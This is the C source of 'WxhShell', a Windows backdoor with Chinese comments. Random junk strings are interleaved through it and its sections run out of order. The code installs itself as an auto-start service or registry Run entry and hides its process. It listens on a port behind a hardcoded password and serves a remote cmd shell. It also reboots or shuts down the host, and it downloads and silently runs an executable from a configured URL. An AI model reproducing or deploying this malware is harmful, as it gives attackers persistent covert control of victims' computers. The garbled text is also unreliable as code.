NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [[Fx[ pDcjwlA% if (!NtQueryInformationProcess) return 0; /[)qEl2]K 5sJJGv#6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H_ox_
u} if(!hProcess) return 0; Nkl_Ho, @$c\dvO if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^!z[t\$ <$~mE9a6 CloseHandle(hProcess); i Ae<&Ms \\7ZWp\fN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YmgLzGk` if(hProcess==NULL) return 0; ?5cI' mvZw HMODULE hMod; ,7NZu0 char procName[255]; >U*T0FL7 unsigned long cbNeeded; ? 1$fJ3 $UCAhG$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \lC d'$T4yA CloseHandle(hProcess); Z->p1xkX *B{j.{
p( if(strstr(procName,"services")) return 1; // 以服务启动 [E
JQ>?D Jesjtcy<* return 0; // 注册表启动 [P7N{l=I } &2zq%((r +0q>fp_K(+ // 主模块 Qj6/[mUr~ int StartWxhshell(LPSTR lpCmdLine) R>"OXFaE { )5U[o0td SOCKET wsl; Kt|1&Gk BOOL val=TRUE; )>-ibf`#? int port=0; i35=Y~P- struct sockaddr_in door; iN0nw]_* $.v5~UGb{\ if(wscfg.ws_autoins) Install(); (RZD'U/B ,gOOiB
} port=atoi(lpCmdLine); sWblFvHqrU SD$h@p=!= if(port<=0) port=wscfg.ws_port; eI:C{0p= +d!v}aJ WSADATA data; %\r!7@Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8o0%@5M 09kt[
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ql?=(b;D setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hk;7:G door.sin_family = AF_INET; sx51X^d door.sin_addr.s_addr = inet_addr("127.0.0.1"); IGFR4+ door.sin_port = htons(port); Gkv{~?95 )}'U`'q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { | j a- closesocket(wsl); d[^~'V return 1; -s$F&\5by } QtqfG{ 0,rTdjH7 if(listen(wsl,2) == INVALID_SOCKET) { 'X!?vK^]p closesocket(wsl); &0( return 1; `z )N,fF } 1YJC{bO Wxhshell(wsl); FH%GIi WSACleanup(); A7`1-# S^<g_ q return 0; L%c0 Z@[~ }~h(w^t } 'fNKlPMv4D <rL/B
k // 以NT服务方式启动 lF?tQB/a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S&Ee,((E( { h=_0+\% DWORD status = 0; v\"S
Gc DWORD specificError = 0xfffffff; ?9=9C"&s Cssl{B serviceStatus.dwServiceType = SERVICE_WIN32; n[,w f9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; JS>Gd/Jd serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _fP&&} serviceStatus.dwWin32ExitCode = 0; R$Tp8G>j serviceStatus.dwServiceSpecificExitCode = 0; `VL}.h serviceStatus.dwCheckPoint = 0; #I3$3^0i# serviceStatus.dwWaitHint = 0; S#Sb ] \7
NpT}dj hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U(;&(W"M
if (hServiceStatusHandle==0) return; aCxE5$~$ @*DyZB status = GetLastError(); \y{Tn@7 if (status!=NO_ERROR) T=:]]nf?M { 4r0b)Y&I serviceStatus.dwCurrentState = SERVICE_STOPPED; Yl$SW;@ serviceStatus.dwCheckPoint = 0; {E0z@D)U- serviceStatus.dwWaitHint = 0; LW:LFzp serviceStatus.dwWin32ExitCode = status; D^;*U[F? serviceStatus.dwServiceSpecificExitCode = specificError; .*JA!B SetServiceStatus(hServiceStatusHandle, &serviceStatus); zb
Z4|_ return; 'vaLUy9] } .pvV1JA' RTu4@7XP serviceStatus.dwCurrentState = SERVICE_RUNNING; Wt9Q;hK serviceStatus.dwCheckPoint = 0; T}=>C+3r serviceStatus.dwWaitHint = 0; awUx=%ERtA if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4~OQhiJ } R?EASc!b @IP)S[^' t // 处理NT服务事件,比如:启动、停止 nbTVU+ VOID WINAPI NTServiceHandler(DWORD fdwControl) HH>:g(bu { .+([ switch(fdwControl) ^+9sG$T_EV { `H3.,] case SERVICE_CONTROL_STOP: iIGbHn,/ serviceStatus.dwWin32ExitCode = 0; d@3}U6, serviceStatus.dwCurrentState = SERVICE_STOPPED; ]}6w#)]" serviceStatus.dwCheckPoint = 0; ZB[Qs serviceStatus.dwWaitHint = 0; s{4 \xAS> { :aIN9; SetServiceStatus(hServiceStatusHandle, &serviceStatus); %D`,k*X } :g\rQazxO return; LR,7,DH$9' case SERVICE_CONTROL_PAUSE: ')$NfarQ. serviceStatus.dwCurrentState = SERVICE_PAUSED; kzS=g|_ break; ^v@4|E$ case SERVICE_CONTROL_CONTINUE: M8b4NF_& serviceStatus.dwCurrentState = SERVICE_RUNNING; @v*/R%rv t break; `j9$T:` case SERVICE_CONTROL_INTERROGATE: Px>va01n break; io3yLIy, }; *+b6B_u] SetServiceStatus(hServiceStatusHandle, &serviceStatus); <p?&udqD } X}6#II *$M'`vj: // 标准应用程序主函数 V8~jf-\$b int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sj(F3wY { STA4 p6 ='E$-_ // 获取操作系统版本 oQj=;[ OsIsNt=GetOsVer(); Ij'NC C GetModuleFileName(NULL,ExeFile,MAX_PATH); 47T}0q, ^-M^gYBR // 从命令行安装 ._96*r=o if(strpbrk(lpCmdLine,"iI")) Install(); ~/tKMS6T }p9F#gr // 下载执行文件 M'1!<a-Mp if(wscfg.ws_downexe) { j,2l8? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^SfS~GQ WinExec(wscfg.ws_filenam,SW_HIDE); +tN&a } il:nXpM! @oG)LT if(!OsIsNt) { ~H}en6Rc // 如果时win9x,隐藏进程并且设置为注册表启动 H_IGFZ Ch HideProc(); 0X(]7b&~R StartWxhshell(lpCmdLine); J:F^
#gW } qYp$fmj else efuK if(StartFromService()) bO/*2oau // 以服务方式启动 [W,-1.$!dM StartServiceCtrlDispatcher(DispatchTable); n|4;Hn1V else XDD<oo // 普通方式启动 wp.TfKxw StartWxhshell(lpCmdLine); G;oFTP>o [[)_BmS5r return 0; <Jp1A#
%p } fj'jNE NgB 7?]vu YTU.$t;Ez ;S/7 h6 =========================================== BvSIM%>h \`xkp[C *,\` o~ P l{QOR 9''p[V.3 1:= `Y@.S " w9#R' xnq><4 #include <stdio.h> qA/bg #include <string.h> ^i:\@VA: #include <windows.h> ]R_G{% #include <winsock2.h> cQFR]i #include <winsvc.h> twk&-:' #include <urlmon.h> H*W):j}8 %>XN%t'6aT #pragma comment (lib, "Ws2_32.lib") | D.C!/69 #pragma comment (lib, "urlmon.lib") P?3{z="LzJ ]i8c\UV \ #define MAX_USER 100 // 最大客户端连接数 xT F=Y_ #define BUF_SOCK 200 // sock buffer 04y!\ #define KEY_BUFF 255 // 输入 buffer CM~MoV[k7e LI:Tc7t #define REBOOT 0 // 重启 ur2!#bU9 #define SHUTDOWN 1 // 关机 a]VGUW- $<ddy/4 #define DEF_PORT 5000 // 监听端口 GF--riyfB iY.eJlfH #define REG_LEN 16 // 注册表键长度 KC&`x| #define SVC_LEN 80 // NT服务名长度 +|C[-W7Sw :J(sXKr[C // 从dll定义API @PcCiGZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nJVp.*S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {(vOt ' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,{j4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +*t|yKO>[ TV{)n'aA // wxhshell配置信息 t^@T`2jL
struct WSCFG { c#q"\" int ws_port; // 监听端口 6d{j0?mM char ws_passstr[REG_LEN]; // 口令 ?TuI:dC int ws_autoins; // 安装标记, 1=yes 0=no "]]q} O? char ws_regname[REG_LEN]; // 注册表键名 d]M[C[TOX char ws_svcname[REG_LEN]; // 服务名 2X@G" char ws_svcdisp[SVC_LEN]; // 服务显示名 mTEVFm char ws_svcdesc[SVC_LEN]; // 服务描述信息 =&0U`P$` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U4wpjHg int ws_downexe; // 下载执行标记, 1=yes 0=no i;lE5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &jJckT char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =FBIrw{w 6f}e+ 80 }; |R'i:= ]M4NpUM // default Wxhshell configuration ~Ob8i 1S> struct WSCFG wscfg={DEF_PORT, :k1$g+(lP "xuhuanlingzhe", Z! YpklZ?~ 1, 4
10:%WGc "Wxhshell", ULvVD6RQ47 "Wxhshell", AA7#c7 "WxhShell Service", aii'}c "Wrsky Windows CmdShell Service", BQ#jwu0e "Please Input Your Password: ", <"I?jgo 1, VC=6uB "http://www.wrsky.com/wxhshell.exe", `$9L^Yg,4 "Wxhshell.exe" 31 ]7z }; 4Vx+[8W 9U10d&M( // 消息定义模块 YY!!<2_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9N}W(> char *msg_ws_prompt="\n\r? for help\n\r#>"; =QiT)9q) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l @A"U)A( char *msg_ws_ext="\n\rExit."; nO@+s
F char *msg_ws_end="\n\rQuit."; f8!l7{2%q char *msg_ws_boot="\n\rReboot..."; sfC@*Y2XT char *msg_ws_poff="\n\rShutdown..."; ;Prg'R[o; char *msg_ws_down="\n\rSave to "; 2k3 z'RLG FR' b`Xv: char *msg_ws_err="\n\rErr!"; _5h0@^m7y char *msg_ws_ok="\n\rOK!"; p#M!S2&z 3o7xN=N char ExeFile[MAX_PATH]; B&nw#saz. int nUser = 0; v@,XinB[ HANDLE handles[MAX_USER]; N<bD int OsIsNt; n1)'cS5} gX"T*d>y SERVICE_STATUS serviceStatus; kv%)K'fU4 SERVICE_STATUS_HANDLE hServiceStatusHandle; d
H_2o oUS,+e // 函数声明 8OBF^r44R int Install(void); g*r/u; int Uninstall(void);
STp!8mL int DownloadFile(char *sURL, SOCKET wsh); 5 V rcR=?O int Boot(int flag); u-M] Az- void HideProc(void); u~)%tL int GetOsVer(void); ok=40B99T int Wxhshell(SOCKET wsl); ={xqNRVd void TalkWithClient(void *cs); '5cZzC
2 int CmdShell(SOCKET sock); feg`(R2 int StartFromService(void); dp< auA int StartWxhshell(LPSTR lpCmdLine); | /#'S&!U ;q&Z9lm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [EOMCH2Ki VOID WINAPI NTServiceHandler( DWORD fdwControl ); w}b<D#0XC GFY-IC+fc // 数据结构和表定义 'Ix5,^M}B SERVICE_TABLE_ENTRY DispatchTable[] = g$gVm:= { V*kznm {wscfg.ws_svcname, NTServiceMain}, d'q;+jnP {NULL, NULL} R]VTV7D }; |3|wdzV 7rPLnB] // 自我安装 PoY>5 int Install(void) @d
P~X { Wb'*lT0= char svExeFile[MAX_PATH]; 1YFAr}M HKEY key; x/[8Wi,yB strcpy(svExeFile,ExeFile); K5+!(5V~ %)dI2 J^Xf // 如果是win9x系统,修改注册表设为自启动 :3 PG f if(!OsIsNt) { 7ozYq_ $ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <M`-`v6H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "j
+v,js RegCloseKey(key); Q+/R
JM?3@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =G[H,;W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [5-!d!a|st RegCloseKey(key); &?v#| qIh return 0; {z-NlH
} }7&\eV{qU } 4Z],+?.[ } H7J`]nr6 else { $TFTIk*uU lWIv(%/@ // 如果是NT以上系统,安装为系统服务 @#1cx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I@+lFG if (schSCManager!=0) dY 6B%V { frk7^5 SC_HANDLE schService = CreateService 8QPT\~ ( U=M#41J schSCManager, 2kC^7ZAwu wscfg.ws_svcname, [gTQ- wscfg.ws_svcdisp, }3Df] SERVICE_ALL_ACCESS, jf2y0W>6s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8R
BDJ SERVICE_AUTO_START, enWF7` SERVICE_ERROR_NORMAL, yi&?d&rK svExeFile, !OV|I NULL, 57'q;I NULL,
:Q8g?TZ NULL, Ml8E50t>; NULL, y}CkzD NULL i:\bqK ); 6_pDe if (schService!=0) +|)zwe { $/MY,:*e CloseServiceHandle(schService); T27:"LVw CloseServiceHandle(schSCManager); K@y-)I2] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9F/|` strcat(svExeFile,wscfg.ws_svcname); 1g+LF[*-~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (tgEa{rPAP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WvIK=fdZ$ RegCloseKey(key); x0y%\ return 0; cvn-*Sj } =H
L9Z } iM4mkCdOO CloseServiceHandle(schSCManager); 7^`RP e^a+ } YAX #O\, } Y#GT*V [>Ikitow return 1; axHxqhO7zp } "[FCQ 5ENov!$H // 自我卸载 4+BrTGp int Uninstall(void) C+}CU} { zUvB0\{q HKEY key; B b$S^F(Xq Rv0-vH.n if(!OsIsNt) { ;:-}z.7Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?S+/QyjcfJ RegDeleteValue(key,wscfg.ws_regname); p{+tFQy RegCloseKey(key); i.B$?cr~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :zRB)hd RegDeleteValue(key,wscfg.ws_regname); c-?
Ygr RegCloseKey(key); 1x^W'n,HtK return 0; 7
3H@kf } dOYlI`4 } E!r4AjaC } ddGkk@CA else { O8!!UA8V l#mqV@?A~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JDIz28 Ww if (schSCManager!=0) VGq{y{( { zS&7[:IRs' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *Cc$eR]- if (schService!=0) O e0KAn { OJh+[bf" if(DeleteService(schService)!=0) { w@<<zItSo CloseServiceHandle(schService); {"qW~S90YO CloseServiceHandle(schSCManager); V3aY]#Su return 0; B3ohHxHu } (!^N~ =e; CloseServiceHandle(schService); (gs`=H*d; } \JF57t}Zk CloseServiceHandle(schSCManager); nS?S6G5h } m-Mhf; } PX+"" # p\4h$." return 1; NZC<m$') } U"jUMOMZ; <m|FccvQ // 从指定url下载文件 Vs2 v j int DownloadFile(char *sURL, SOCKET wsh) krnvFZRTQ { N^nDWK HRESULT hr; d!a2[2Us char seps[]= "/"; BxW||O|_N" char *token; =|DkD-
O char *file; $i5G7b char myURL[MAX_PATH]; s.k`];wo char myFILE[MAX_PATH]; _rWTw+
L (7
]\p strcpy(myURL,sURL); {Tjtj@- token=strtok(myURL,seps); *X"F: 7 while(token!=NULL) 2n"*)3Qj { X.r!q1_c file=token; +'{:zN5m token=strtok(NULL,seps); fb;hf:B: } FQv02V+&< ,cl"1>lp GetCurrentDirectory(MAX_PATH,myFILE); h0ZW,2?l strcat(myFILE, "\\"); ?Mgt5by strcat(myFILE, file); ^@l5u= send(wsh,myFILE,strlen(myFILE),0); E!O(:/* send(wsh,"...",3,0); kiBOyC!r6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r' 97\| if(hr==S_OK) j$JV(fz return 0; G5X|JTzpu< else qrORP3D@ return 1; |iF1A 8k*k } wE.@0 \f<thd*bC // 系统电源模块 *axza~d int Boot(int flag) =#PudF.\ { a*e|>p DO HANDLE hToken; $[L)f|
l TOKEN_PRIVILEGES tkp; =r@ie>*U 6.(]}?g1f if(OsIsNt) { a'L7y% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dnhpWVhn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )G F tkp.PrivilegeCount = 1; 07E".T%Ts tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _3-,3ia AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~"hAb2 if(flag==REBOOT) { hPX2 Bp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ))we\I__8 return 0; 5,I*F9[3 } u]++&~i else { Vo58Nz:% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K;(|v3g6 return 0;
e>s.mH6A } ^AC+nko* } lj% ;d' else { WA)lk>(+ if(flag==REBOOT) { 2{Lc^6i(t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LVz%$Cq,0 return 0; }9fV[zO }
4pOc` else { M KE[Yb? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <=LsloI return 0; 8~XI7g'5x } {pi67"mYp } B3i=pcef q'U-{~q% return 1; H#d! ` } w2mlqy2L 1QdB`8in // win9x进程隐藏模块 .bl/At3A void HideProc(void) ,_7tRkn { r+WPQ`Ar [zO(V`S2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <\#
if ( hKernel != NULL ) ^SelqX { 6!Ap;O^* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d+wNGN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R;I-IZS: FreeLibrary(hKernel); $DMu~wwfG } _jI)!rfb >0G}, S return; $y |6< } s(DaPhL6Qm _J$p< // 获取操作系统版本 6T
aT_29 int GetOsVer(void) mfi'>o# { ,t,65@3+b OSVERSIONINFO winfo; K,T]Fuy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X+G*Q}5 GetVersionEx(&winfo); Vu8-Cy>Q? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >ww1:Sn return 1; R^w >aZoJ else ?VHwYD.B return 0; 5v03<m0`y } AhFI, x X2mm'JDwK // 客户端句柄模块 .J!
$,O@ int Wxhshell(SOCKET wsl) Q $,kB<M {
OCoRcrAx SOCKET wsh; _TeRsA struct sockaddr_in client; iPi'5g(a DWORD myID; "r(pK@h Vste$V while(nUser<MAX_USER) OKH~Y-%< { InGbV+ I int nSize=sizeof(client); ,lG wW8$R wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
61;5Yo if(wsh==INVALID_SOCKET) return 1; Wn</",Gf 1OGv+b)
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g KY
,G if(handles[nUser]==0) wEn&zZjx closesocket(wsh); ktJLpZ<0O else wOl-iN= nUser++; SYhspB } %3B>1h9N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .0/Z'.c8 m l
\yc' return 0; PX{~! j%n } oN}j <6s
&wC.?w$ // 关闭 socket Bc,z] void CloseIt(SOCKET wsh) !6`nN1A { a5+v)F/= closesocket(wsh); [t\Mu}b nUser--; 3cQmxp2* ExitThread(0); EJ|ZZYke! } !ZcALtq Ji?UG@ // 客户端请求句柄 4o8HEq! void TalkWithClient(void *cs) M L_J<|,J { %R5MAs&-5 -]MP,P% SOCKET wsh=(SOCKET)cs; tm#y`1- char pwd[SVC_LEN]; JS.'v7 char cmd[KEY_BUFF]; g5HqU2 char chr[1]; `6F8Kqltr int i,j; 9 W
r(w ~Q\uP(!D while (nUser < MAX_USER) { { J%$.D(/ DcM+K@1E4^ if(wscfg.ws_passstr) { +f~3FXM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zL{@LHP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g5'bUYsa //ZeroMemory(pwd,KEY_BUFF); AR2+W^aM3 i=0; cLF>Jvs*J while(i<SVC_LEN) { :Fk&2WsW: U}h
|Zk // 设置超时 q.tL' fd_set FdRead; #>oO[uaY struct timeval TimeOut; XfDQx!gJ FD_ZERO(&FdRead); <]`2H}*U' FD_SET(wsh,&FdRead); AH,F[vS TimeOut.tv_sec=8; :Bc;.% TimeOut.tv_usec=0; ! (tJZ5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +\m!#CSA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eW<hC( Sgy~Z^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JFkjpBS pwd=chr[0]; Nd)o1{I if(chr[0]==0xd || chr[0]==0xa) { ?*dx=UI pwd=0; ps
J 1J break; j>M%?Tw } "61n?Z#,M[ i++; sZ$ ~abX } 0 pz
X!f1~ /!3:K<6@ // 如果是非法用户,关闭 socket L4-Pq\2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y'R1\Go- } 5jk4k c 06O send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0\;a:E.c send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &"0[7zgYQz )Jn80~U|1 while(1) { Q)8t;Kx 7 4UE-H) ZeroMemory(cmd,KEY_BUFF); XcneH jpR $*ZHk0
7x // 自动支持客户端 telnet标准 Re>e|$.T j=0; 1(a\$Di while(j<KEY_BUFF) { u'][3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .;s4T?j@w cmd[j]=chr[0]; ak&v/%N if(chr[0]==0xa || chr[0]==0xd) { ShxX[k cmd[j]=0; EeJ]>
1 break; zD|W3hL2& } Wn5]2D\vkT j++; ["9$HL } ('oUcDOFTS J ASn\z // 下载文件 ?a(3~dh| if(strstr(cmd,"http://")) { ay.IKBXc send(wsh,msg_ws_down,strlen(msg_ws_down),0); E$
rSrT( if(DownloadFile(cmd,wsh)) W ,+91rup send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0q$ZK6C else 0:p#%Nvg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n!nv.-n } GC2<K else { 5#PhaVc tp&iOP6O switch(cmd[0]) { 4dAhJjhgD }+1o D{ // 帮助 f|)t[,c case '?': { NST6pu\,U send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FW,D\51pTP break; sjGZ
,?% } /zKuVaC // 安装 .S;/v--F case 'i': {
95/C4q if(Install()) V}?5=f' send(wsh,msg_ws_err,strlen(msg_ws_err),0); DEhA8.v else CXA8V"@&b/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hpu(MX\ break; c#Bde-dh } "AVc^> // 卸载 !T)>q%@ai case 'r': { 3[4]G@ if(Uninstall()) P8f-&( send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pe.D[]S else We2=|AB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZWH`s break; |)?T([ } U$}]zaB // 显示 wxhshell 所在路径 w.\:I[ case 'p': { th{h)( +H char svExeFile[MAX_PATH]; G 2##M8:U0 strcpy(svExeFile,"\n\r"); ;d4_l:9p strcat(svExeFile,ExeFile); ;f\0GsA# send(wsh,svExeFile,strlen(svExeFile),0); Nx__zC^r break; 5ZLH=8L } Uan;}X7@ // 重启 (ydeZx case 'b': { iuEdm:pW send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ns-x\B?^ if(Boot(REBOOT)) %k_JLddlW send(wsh,msg_ws_err,strlen(msg_ws_err),0); AyDK-8a else { [sBD|P;M closesocket(wsh); _=b[b]Ec$s ExitThread(0); w# ['{GL } DWG}}vN:& break; hpU7 } 0ro+FJ r // 关机 a/1{tDA case 'd': { I5mS!m/X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -oj@ c
OZ if(Boot(SHUTDOWN)) ;_!;D#: send(wsh,msg_ws_err,strlen(msg_ws_err),0); $si2H8 else { ?(z3/"g] closesocket(wsh); _kSus ExitThread(0); }PVB+i M } P<1zXs.H break; F`l1I=; } `Cc<K8s8 // 获取shell VQyDd~Za case 's': { uB
BE!w_ CmdShell(wsh); G+ToZ&f@ closesocket(wsh); e=U7w7(s9 ExitThread(0); Yi:+,-Fso break; qXW5_iX } P;GUGG*W // 退出 yI!K
quMC case 'x': { fXN;N&I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xs`/q}R CloseIt(wsh); dFlx6H+R!0 break; eL.S=" } &AzA0r&, // 离开 t0Uax-E( case 'q': { PF~&!~S>W send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4D8q Gti closesocket(wsh); f`Nu]#i WSACleanup(); XX =A1#H exit(1); kci H break; F n\)*; ^ } q(C+D%xB } %}@^[E) } &\A$Rj) F[lHG,g- // 提示信息 ?w.Yx$Z" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : v]< h } 6i%)'dl } _$\T;m>'A ?@ O[$9y return; z;-2xD0&U[ } P_9O8"W )vw3Y88 // shell模块句柄 ~o+u: ] int CmdShell(SOCKET sock) j=7 ]"% { ;fuy}q8@7 STARTUPINFO si; hod|o1C& ZeroMemory(&si,sizeof(si)); #8'%CUF*<8 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OHB!ec6W si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oD.f/hi0| PROCESS_INFORMATION ProcessInfo; Fw|5A"9'a' char cmdline[]="cmd"; J4<- C\=4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Tab'7 return 0; [p(Y|~ } :)+cI?\# Tsa&R:SE // 自身启动模式 '+$2<Ys int StartFromService(void) h5~tsd}OU { W>Zce="_gN typedef struct ?wmr~j { |XQ!xFB DWORD ExitStatus; '1d-N[ DWORD PebBaseAddress; P/27+5(| DWORD AffinityMask; !=a8^CV DWORD BasePriority; ^ H'|iju ULONG UniqueProcessId; $Uzc ULONG InheritedFromUniqueProcessId; @r#> -p } PROCESS_BASIC_INFORMATION; Lm8cY )ZT&V |